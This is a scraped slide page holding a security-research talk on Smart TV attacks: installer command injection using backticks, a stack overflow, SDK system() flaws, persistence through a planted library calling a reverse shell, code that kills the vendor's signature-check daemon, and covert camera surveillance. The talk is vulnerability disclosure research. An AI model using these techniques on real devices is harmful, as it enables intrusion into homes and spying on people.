Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch TuesdayIvanti
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024TopCSSGallery
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructureitnewsafrica
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integrationmarketing932765
 

Último (20)

React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App Framework
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a reality
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architectures
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch Tuesday
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
 

Hacking, Surveilling, and Deceiving Victims on Smart TV

  • 1. HACKING, SURVEILLING, AND DECEIVING VICTIMS ON SMART TV SeungJin Lee (1st Author) CIST(Center for Information Security Technologies), Korea University beist@grayhash.com CIST(Center for Information Security Technologies), Korea University skim71@korea.ac.kr Seungjoo Kim (Corresponding Author)
  • 2. 2 About me  SeungJin Lee (aka beist)  @beist on twitter  Named to advisory council for Cyber Command in Korea  Ms-Phd course at Korea University  A member of IAS LAB, CIST  Professor. SeungJoo Kim  Interested in offensive security research  Hunting security bugs and exploiting  Finding bugs which requires reverse engineering is my job  Working for big companies in Korea  Wins at hacking contests  Running hacking contests/conferences in Korea  Speaking at security conferences  SYSCAN, AVTOKYO, CANSECWEST, SECUINSIDE, TROOPERS, HITCON, etc
  • 3. 3 About this talk  Research motivation  What is Smart TV?  Smart TV Attack surfaces  Rootkits for Smart TV  Persistence shells  Working for 24/7  Even when users press power button to turn off TV  Surveillance program  Deceiving users  Smart TV threat evaluation  Smart TV against Smart Phone  Conclusion
  • 4. 4 Note about this talk  This is an extended version of one that I gave at CANSECWEST  This talk is more about security bugs and rootkits than about firmware for TV  This talk more covers rootkits than security bugs and exploitations  As they’re not different to traditional techniques  This talk is talking about general security issues of all Smart TV vendors  But not for a specific vendor :D
  • 5. 5 Research motivation  Smart TV is being world popular  In 2012, over 80,000,000 Smart TVs Sold  People say, it’s going to be more popular  Lack of security research  We hardly see security research on Smart TV yet  Smart TV is like “home-version smartphone”  Might be very scary if it’s pwned  We’ll see.  Wanted to measure privacy problem
  • 6. 6 Smart TV  Smart TV is now used in many fields  Home entertainment  Office purpose  Educational purpose  Business purpose  Smart TV is not just TV  Changing psychological consumer behavior and its impact on the commercial sector  The feasibility of potential applications for smart TV in the consumer electronics market  The integration of smart TV platforms with IC technology solutions
  • 7. 7 Smart TV  Samsung, LG, Panasonic, Sony and others dive into Smart TV industry  Smart TV is a regular PC but shows you TV programs  Smart TV = TV + PC  Also, built-in Camera and voice sensor  At the moment, only fancy models have built-in camera and voice sensor
  • 8. 8 Looks of Smart TV (Front) S M A R T T V
  • 9. 9 Looks of Smart TV (Back)
  • 10. 10 Smart TV  More devices inside  Bluetooth, wireless device, ++  Just like a regular PC  OS: modern OS like Linux (Or embedded)  CPU: ARM  Platform:  Vendor’s own  It works like a regular PC  Boot-up, load kernel  Execute programs, kill programs, ETC  Usually shells not provided by vendors
  • 11. 11 Smart TV feature  Camera and MIC  Motion sensor  Voice sensor  TV can recognize your motion  You move your arm and hand  Then select any menu on TV  ETC  TV can recognize your voice  To turn on TV: “Hi TV, turn on”  To volume down/up: “Volume up/down”  ETC
  • 12. 12 Big hurdles of Smart TV research  Lack of documentations and research  The TV is blackbox  No source code  Smart TV software is huge  More than hundreds mega bytes  Vendor write most of code  Hard to find interesting spots  Research can brick your TV  Sometimes, even the factory reset doesn’t work  You have to send it to A/S center – “I did”  If you do any mistake, the TV will be rebooting  Because there is a huge user level binary  Hundreds on-off is so tedious
  • 13. 13 Smart TV attack vectors  Smart TV has almost same attack vectors as Smart Phone  A hacker who uploads malicious apps to your Smart TV app market  A hacker outside of your network  A hacker in your network  Network daemons  Man in The Middle  A hacker who can be around  Who can touch your TV (Physical attacks: USB/etc)  Who can see your TV (Remote controller)  Who can be around your home (Broadcast signals)
  • 14. 14 Research start on Smart TV  How to start research on mobile phones?  You should do rooting your phone first  Both iOS and Android  Nothing really much without it  How to start research on Smart TV?  You should get a shell first as well!
  • 15. 15 Research start on Smart TV  We started with  Firmware information from Samygo  Firmware is encrypted by vendor but Samygo have password information for many firmware  Unfortunately, they didn’t have any information for our TV model  So, we got an old version and different model firmware, but much better than nothing  Extract executable binaries and IDA time!  And, UART
  • 16. 16 Research start on Smart TV  Executable binaries  Yay! IDA time!  IDA analyzes the ARM code very well  UART  Our target has a lot of DEBUG messages which you can see them through UART  Booting logs  Exception messages  Segmentations messages with register values  ‘Strings’ are very gold when you feel lost yourself in a huge binary on IDA
  • 17. 17 Enable UART  Our TV UART is disabled by default  You should get into ‘Service Mode’ to make UART enabled  How to get into ‘Service Mode’  TV has 2 Service Modes  1: Power off + Mute + 1 + 8 + 2 + Power On  This is not for us as it doesn’t have “Advanced Mode”  2: Info + Factory key combination  Our remote controller doesn’t have “Factory key”, so, we should do radio frequency stuff
  • 18. 18 Enable UART  We use Arduino to send “Info” and “Factory” Keys to TV  http://wiki.samygo.tv/index.php5/Etherne t_to_IR_and_Serial_Console_Interface  We just added this Void loop() { … Data = 0x1f; Company_name::SendCommand(Type, Device, Data, Crc); delay(1000); Data = 0x3b; Company_name::SendCommand(Type, Device, Data, Crc); }
  • 19. 19 Enable UART [Arduino with Bus Pirate and Advanced mode]
  • 20. 20 UART enable commands Set serial port speed: (bps) 1. 300 2. 1200 3. 2400 4. 4800 5. 9600 6. 19200 7. 38400 8. 57600 9. 115200 10. BRG raw value (1)>9 Data bits and parity: 1. 8, NONE *default 2. 8, EVEN 3. 8, ODD 4. 9, NONE (1)>1 Stop bits: 1. 1 *default 2. 2 (1)> Receive polarity: 1. Idle 1 *default 2. Idle 0 (1)>2 Select output type: 1. Open drain (H=Hi-Z, L=GND) 2. Normal (H=3.3V, L=GND) (1)>2 Ready UART>(1) UART bridge Reset to exit Are you sure? y
  • 21. 21 So, we’re ready to find bugs  Again, having binaries and UART is very important as the target is blackbox  We’ll tell you later how to see debug messages without UART after having a shell on the box  From now, our approach is  1: Reversing binaries  2: Finding some spots to test  3: Checking messages from UART  4: Repeating 1 - 3
  • 22. 22 Smart TV App Store  Almost same as mobile app market  Developers can make apps for TV  SNS clients, NEWS apps, Game, SKYPE, ETC  Some vendors don’t allow developers to use native languages like C/C++  But ok - HTML/Javascript/Flash  It could be because of portability  Also because of security policy  Vendors try to prevent bad guys from making/uploading malicious apps to application market
  • 23. 23 Smart TV App Store [Attack scenario]
  • 24. 24 Smart TV App Store  What is to write in Javascript/Flash for app?  It means  Can’t call system calls directly  Can’t access many resources like files  Your code run in VM (Javascript/Flash)  Nothing really much you can do  Attack point  Using web browser bugs (including Flash)  Traditional attacks can be done (webkit/flash)  Using bugs in SDK provided by vendors  And the app installer  Will talk about this
  • 25. 25 Smart TV App Store  Fortunately (To both developers and attackers), vendors provide SDK for development  SDK has many features  FILE I/O  Download and upload via network  Screen control API  Basic function of TV control API  App control API  ETC
  • 26. 26 Smart TV App Store  Security policy of App  Some important APIs do sanity-checks  EX) You can’t do “../” when file open()  APIs work like they’re in sandbox - openCommonFile() calls jx_GetFullPath() jx_GetFullPath(filepath, stricted_directory) { ... if not filepath starts with stricted_directory: exit ... }
  • 27. 27 Smart TV App Store  Problem of SDK security policy  API level sandbox is not best sandbox  Hard to ensure hundreds of APIs do their sandbox job properly  Hard to implement all security checks in all APIs  Checks in File I/O API might be very robust  But what about checks in Audio Control API?  All app is running as ‘root’ privilege  Which means if there is any single API bug, you’d get a root privilege shell
  • 28. 28 Smart TV App Store  APP bug case #1  The app installer parses a XML file  XML file contains  App name  Title  Compression  Description  Download  Etc  “Download” field is a URL and a zip of your app
  • 29. 29 Smart TV App Store STMFD SP!, {R4-R8,R11,LR} LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0xCA1840) LDR R3, =(aEncodeuri - 0x4E78BC8) MOV R5, R2 ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_ LDR R2, =(aNnaviutilS - 0x4E78BC8) ADD R11, SP, #0x18 ADD R3, R4, R3 SUB SP, SP, #0x13C MOV R6, R1 MOV R0, #1 ADD R2, R4, R2 ADD R3, R3, #0xC MOV R1, #4 BL _ZN7CCDebug5PrintI15CCDebugInfoLinkEEvmmPKcz LDR R3, =(g_pTaskManager_ptr - 0x4E78BC8) MOV R1, #0x48 LDR R3, [R4,R3] LDR R0, [R3] BL _ZN12CTaskManager14GetApplicationE15DTV_APPLICATION CMP R6, #0 CMPNE R5, #0 MOVEQ R5, 0xFFFFFFFF MOV R7, R0
  • 30. 30 Smart TV App Store BEQ loc_CA18D0 SUB R8, R11, #-var_148 LDR R1, =(aNiceN19SInfoli - 0x4E78BC8) LDR R2, =(aMtd_cmmlib - 0x4E78BC8) MOV R3, R6 ADD R1, R4, R1 MOV R0, R8 ADD R2, R4, R2 STR R5, [SP,#0x154+var_154] BL _ZN8PCString5PrintEPcPKcz MOV R1, R8 MOV R0, R7 BL _ZN13CNNaviAppBase9execShellEPKc LDR R1, =(aSync - 0x4E78BC8) ADD R1, R4, R1 ; "sync" MOV R5, R0 MOV R0, R7 BL _ZN13CNNaviAppBase9execShellEPKc MOV R0, R5 SUB SP, R11, #0x18 LDMFD SP!, {R4-R8,R11,PC}
  • 31. 31 Smart TV App Store  _ZN13CNNaviAppBase9execShellEPKc()  It does system()  vfork()  waitpid()  execl()  Our “Download” value is passed to this with a prefix command  EX) “/bin/unzip OUR_DOWNLOAD_VALUE”  There is a sanity-check for ‘|’, ‘;’ and etc, before our value is passed, but misses some linux special characters like ‘`’ (tilt)
  • 32. 32 Smart TV App Store  So, it’s an easy bug  $ some_command myapp.`whoami`zip  But there is a hurdle  we can’t use ‘/’ character  Solution:  Use ${OLDPWD}  The environment variable has ‘/’ in this case as the installer is a background process
  • 33. 33 Smart TV App Store  APP bug case #2  Another bug in the installer  The installer uses “widget_id” value for  Making a directory for our app  But wrong string handling LDMIA R9, {R0-R3} SUB R5, R5, #4 SUB R12, R11, #-var_650 STR R12, [R11,#s] STMIA R5, {R0-R3} SUB R0, R11, #-var_510 MOV R2, #0xF0 ; n MOV R1, R6 ; c SUB R0, R0, #4 ; s BL memset MOV R0, R5 LDR R1, [R7,#0x34] BL _ZN8PCString7ConcateEPcPKc
  • 34. 34 Smart TV App Store  _ZN8PCString7ConcateEPcPKc()  This wrapper function does  strcat() inside  Simple stack buffer overflow ------------------------------------------------------------ PC, LR MEMINFO ------------------------------------------------------------ PC:61616160, LR:12834 ------------------------------------------------------------ No VMA for ADDR PC ------------------------------------------------------------ 03e0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0400: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0420: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
  • 35. 35 Smart TV App Store  APP bug case #3 and more  As we say, there are hundreds of API that developers can use  There are many functions that handle string/data wrongly  Very kind memory corruption bugs  And even system() bugs  FILESYSTEM.Unzip()  FILESYSTEM.Move()  FILESYSTEM.Copy()  FILESYSTEM.Delete()  Delete() actually doesn’t work as it checks first if the given path exists before system(delete_file)
  • 36. 36 Smart TV App Store  FILESYSTEM.Unzip() bug LDR R1, =(aUnzip - 0x1FAB08) MOV R0, R4 ADD R1, R5, R1 ; "Unzip" BL _ZNKSs7compareEPKc CMP R0, #0 BEQ loc_9D4E0 LDR R0, [R11,#arg_0] LDR R1, [R6] LDR R2, [R0] LDR R0, [R7,#0x28] BL j__ZN3sef18CEmpTaskFileSystem5UnzipEPcS1_
  • 37. 37 Smart TV App Store  FILESYSTEM.Unzip() bug  Game over SUB R1, R11, #-var_430 LDR R0, [R11,#var_440] SUB R1, R1, #0xC BL j__ZN3sef18CEmpTaskFileSystem10SystemCallEPKc MOV R0, R6 BL _ZN3sef12SefExecShellEPKc
  • 38. 38 Smart TV App Store  There are more security bugs in API but won’t list them up all  Over again, this is not only API’s problem.  This is because all app is running as ‘root’ privilege  Also, TV strongly relies on secure (but maybe insecure) coding but not security protection like sandbox
  • 39. 39 A hacker outside of your network
  • 40. 40 A hacker outside of your network  SNS client is a gold vector for Smart TV hackers  Smart TV is more fancy than you think  Vendors are really building a new software platform  You have Smart TV edition facebook called “Our story” (Faked name)  They have a facebook app inside, anyway  You make friends and send photos, messages and etc  Of course this is a good attack point
  • 41. 41 A hacker outside of your network  Traditional vectors are also possible  Web browser  It’s hard to patch security flaws for embedded systems  The browser uses webkit and flash  They’re old versions and it’s not just an old webkit or flash problem.  There are a bunch of old libraries
  • 42. 42 A hacker outside of your network  Traditional vectors are also possible  Web surfing within the Smart TV web browser is like web surfing within a web browser from many years ago  Huge risk
  • 43. 43 A hacker in your network  Network daemons  There are around 10 tcp/udp daemons  They are not ftp/sendmail/ssh  But for providing rich experiences to user tcp 0 0.0.0.0:58336 0.0.0.0:* LISTEN 847/MainServer Tcp 0 0.0.0.0:64384 0.0.0.0:* LISTEN 847/MainServer tcp 0 0.0.0.0:57794 0.0.0.0:* LISTEN 847/MainServer tcp 0 0.0.0.0:9090 0.0.0.0:* LISTEN 67/exeDSP tcp 0 0.0.0.0:50887 0.0.0.0:* LISTEN 847/MainServer tcp 0 0.0.0.0:51916 0.0.0.0:* LISTEN 847/MainServer tcp 0 0.0.0.0:80 0.0.0.0:* LISTEN 67/exeDSP tcp 0 0.0.0.0:6000 0.0.0.0:* LISTEN 471/X tcp 0.0.0.0.0:55000 0.0.0.0:* LISTEN 67/exeDSP tcp 0 0.0.0.0:55001 0.0.0.0:* LISTEN 67/exeDSP tcp 0 0.0.0.0:62778 0.0.0.0:* LISTEN 847/MainServer tcp 0 0.0.0.0:4443 0.0.0.0:* LISTEN 67/exeDSP tcp 0 0.0.0.0:443 0.0.0.0:* LISTEN 67/exeDSP tcp 10.0.1.23:7676 0.0.0.0:* LISTEN 67/exeDSP
  • 44. 44 A hacker in your network  The 55000 looks interesting  It has interesting functions  CTVControlManager::PacketParsing() parses our packet  Around 20 commands in switch()  0, 1, 2, 4, 6, 7, 8, 9, 11, 12, 17, 18, 19, 20, 20, 100(auth and provide rich features to client), 110(bluetooth pairing), 120(Get public key), 121(rsa decrypt), 130(send key after aes decrypt), 200  Only a few commands need authentication
  • 45. 45 A hacker in your network  There are some spots of memory corruption in commands that do some crypto  They don’t properly check user value  It’s exploitable but references uncontrollable data by us  We seldom see PC points to unmapped address, but have not done with a way make it reliable yet (lame) Pid: 3465, comm: RemoteClient CPU: 0 Tainted: P (2.6.35.13 #1) pc : [<01bb36d4>] lr : [<036ca950>] psr: a0000010sp : 8f339bc0 ip : 8f33ccd4 fp : 8f339bfc r10: 8f33ac60 r9 : 8f33cce4 r8 : 00000000 r7 : 8f33ac60 r6 : 8f340450 r5 : 066e91e8 r4 : 0788eb98 r3 : 00000000 r2 : 06d97380 r1 : 00000000 r0 : 00000000
  • 46. 46 A hacker in your network  Port 7676 is UPNP service looks interesting  It has around 6 services  2 services need you authenticated  4 services don’t’ need you authentication  But didn’t find any bug yet  Man in The Middle  We said, all apps are running as ‘root’  If there is anything wrong handling during MiTM, it’s pwned  For example, while update apps  We found some at updating code  And there are packets not encrypted even for credentials
  • 47. 47 A hacker who can be around  Who can touch your TV  Physical attacks  USB, other ports, etc  The TV is Linux version 2.6.35  Who can see your TV  Remote controller  Tried to find memory corruption bugs in the code that parses your remote signals  #fail  Who can be around your home  Broadcast signals  But unfortunately, we’ve not done anything with this yet
  • 48. 48 What do you do in pwned TV?  Basically, you can do everything  As it’s just a regular PC  Bad guys would do  Hijacking TV programs  Key-logging  Capturing TV screenshot  Sniffing network traffic  Stealing financial information
  • 49. 49 Persistent shells from TV  We need shells from rebooted TV  There are 3 general ways for that  1: Re-writing firmware  Like Smart TV updates itself  But this could make TV a brick  2: Remounting to make partitions writable and writing something bad into files  Example) /etc/init.rc  But “mount -o rw” sometimes doesn’t work in embedded platforms for some reason  3: Finding some .so files loaded by programs in a writable partition  We take this way
  • 50. 50 Persistent shells from TV  Finding some so files loaded by programs in a writable partition  This can be achieved easily  Hooking sys_open() and checking if there is any “No such file or directory” error return number within .so file extension  We found some files  The files are loaded by web browser launcher  And the launcher is executed when booting void _init() { system(do_some_bad); reverse_shell(my_ip); }
  • 51. 51 Persistent shells from TV  But there is a User Executable Preventer service daemon by the vendor  It checks files and removes if they’re not signed by the vendor [User Executable Preventer daemon pseoudo] void sign_check() { while(1) { file = find_next_file(); if(!is_Executable(file)) continue; ret = CheckRSA(file); if(ret == NOT_SIGNED) { remove(file); } sleep(some); } }
  • 52. 52 Persistent shells from TV  Problem of the PREVENTER  As it has to scan all directories and files, it will not delete your file immediately  Which means, you usually have time to do something before the PREVENTER  It would be better if they implemented it at system call level hooking like in sys_execve or sys_open  But still a lot of ways to bypass it, anyway
  • 53. 53 Persistent shells from TV  Solution for attackers: Just kill the daemon  Now not signed programs can be also alive  Note: The PREVENTER is not a good idea. It doesn’t actually prevent, but, just gives bad performance to TV [OUR ‘PREVENTER’ KILLER] main() { while(1) { system(“killall -9 PREVENTER”); sleep(5); } }
  • 54. 54 What does beist do in pwned TV?  We asked around 100 friends what case is the worst if their Smart TV got hacked  1: Stealing financial information  2: Hijacking TV programs  3: Breaking your TV  4: Watching and listening via your TV  Vote, please?
  • 55. 55 What does beist do in pwned TV?  SURVEY RESULT  We asked friends around 100 what’s the worst case people think if their Smart TV got hacked  1: Stealing financial information  10%  2: Hijacking TV programs  0%  3: Breaking your TV  5%  4: Watching and listening via your TV  85%
  • 56. 56 What does 85% mean?  85% is still very high  But I think the 15% didn’t exactly understand what I can do in pwned TV  Most of them are not computer experts
  • 57. 57 Privacy!  We know that Smart TV have built-in camera and mic  Sounds so fun  But before we cover “Surveillance implementation part” of pwned Smart TV, I need to mention  Surveillance program  Smart phone against Smart TV  As a view of bad guys
  • 58. 58 Surveillance on Smartphone  Smartphone  Smartphone has camera and MIC  But have you ever captured photos using the camera 24/7?  “I did the test”  I ran a simple surveillance program in an android Smartphone  It took a photo every 1 minuet  I went out with it and used like my real phone  I got 2 problems while the test
  • 59. 59 Surveillance on Smartphone  Smartphone  Problem 1  After having hundreds of photos, I checked those pictures  Only around 1% photos were “just ok”  More than 99% photos were useless  You can easily guess why  You usually put your phone in your pocket or on the desk  Or moving so fast, then it’s so blur
  • 60. 60 Surveillance on Smartphone  Smartphone  Problem 2  I don’t take photos much using my phone  But after this test, I realized taking pictures drains power  If you run your surveillance program in a target’s phone, he’ll recognize it quickly as his phone will be dying before lunch
  • 61. 61 Surveillance on Smart TV  Smart TV  There is no power problem  TV is almost always connected to the power  Even no problem with 24 hour recording  TV can’t move  But on the other hand, it’s a good photographer  Surveillance on TV is not only about you  However, it’s also about your family or people who you very love  Do not make TV see your bed
  • 62. 62 Surveillance on Smart TV  Smart TV  TV can’t go to your office  It may not steal your business information or secret conversation  Unless if you put Smart TV at office  But we hear Smart TV is getting used more and more in corporate environments  But things that bad guys can get from pwned Smart TV would be very personal privacies  And it’s so terrible, obviously
  • 63. 63 We need debugging  Debugging is necessary as most of code are written in C++  There are many binaries but a binary is very huge over 100mb and it is the core program  Even ported GDB was not convenient  Many hangs which we didn’t figure yet  Wanted to have a more comfortable tool to use  @collinrm Collin Mulliner’s android DBI  http://www.mulliner.org/android/  http://www.mulliner.org/android/feed/colli n_android_dbi_v02.zip
  • 64. 64 Collin’s DBI for Android  How Collin’s DBI for Android works  It ptrace() a target process and changes PC, then executes a shellcode that does dlopen()  The dlopen() shellcode is in stack  Call mprotect() to make it executable  The shellcode patches our target function  hijack.c: inject libt.so into the target process using ptrace()  libt.c: inline hooking in the target function  It works great after modifying a bit for TV
  • 65. 65 Sample hooking code // TCTv::Power(int, TCTv::EBootReason, bool) #define ADDR 0x00E5CBC4 void _init() { printf("libt.so loaded...n"); fflush(stdout); // TCTv::Power(int, TCTv::EBootReason, bool) addr = (void *)(((int)ADDR) & ~(4096-1)); mprotect((char *)addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC); hook(&hook_info, ADDR, hooked_func); } void (*orig_my_func) (int a, int b, int c); void hooked_func(int a, int b, int c) { printf("hooked!n"); fflush(stdout); orig_my_func = (void*) hook_info.orig; hook_precall(&hook_info); orig_my_func(a, b, c); hook_postcall(&hook_info); }
  • 66. 66 Debugging to trace C++ stacks  C++ is hard to know who is calling and who is called, we mainly used DBI to trace it easily. Argument value is bonus. asm ("mov %0, %%r0n" :"=r"(r0)); asm ("mov %0, %%r1n" :"=r"(r1)); asm ("mov %0, %%r2n" :"=r"(r2)); asm ("mov %0, %%r3n" :"=r"(r3)); asm ("mov %0, %%lrn" :"=r"(lr)); asm ("mov %0, %%pcn" :"=r"(pc)); printf("=== Dump Registers ===n"); printf("r0 = %pn", r0); printf("r1 = %pn", r1); printf("r2 = %pn", r2); printf("r3 = %pn", r3); printf("lr = %pn", lr); printf("pc = %pn", pc); p = (int *)r0; printf("this pointer : %pn", p); vftable = (int *)*p; printf("vftable : %xn", vftable);
  • 67. 67 Guide by the dev: Debug messages in binaries  The developers leave a lot of debug messages that can be very useful for us  --- SCAN CODE=[%d] vs Converted CODE=[%d]  TYPE=[%ld], CODE=[%d]  ***** kbd=[0x%lx] VS m_keyboard=[0x%lx] *****  Unfortunately, global variables made for release version don’t help us ... if (global_690E4C8 <= some_value ) { if ( some_value <= global_690E4D0 ) { printf("SOME_VERY_USEFUL_DEBUG_MSG"); } } ...
  • 68. 68 To get hints from developers  But, we can change the global values by runtime patch and see those useful messages  Then, it’s going to be more easier ptrace(PTRACE_ATTACH, pid, 0, 0); ptrace(PTRACE_POKEDATA, pid, 0x690E4C8, 0x00000000); // DEBUG_LOW_ADDRESS ptrace(PTRACE_POKEDATA, pid, 0x690E4D0, 0x00003030); // DEBUG_HIGH_ADDRESS ptrace(PTRACE_DETACH, pid, 0, 0);
  • 69. 69 Does your rootkit work 24/7?  My father always tells me  Father: “Turn off TV before you go out.”  Me: “But, my rootkit is running inside!”  As Smart TV is like a regular PC, when users turn off TV, every program is down  It’s time to show a clever trick  If we can  #1984 and 24-hour surveillance
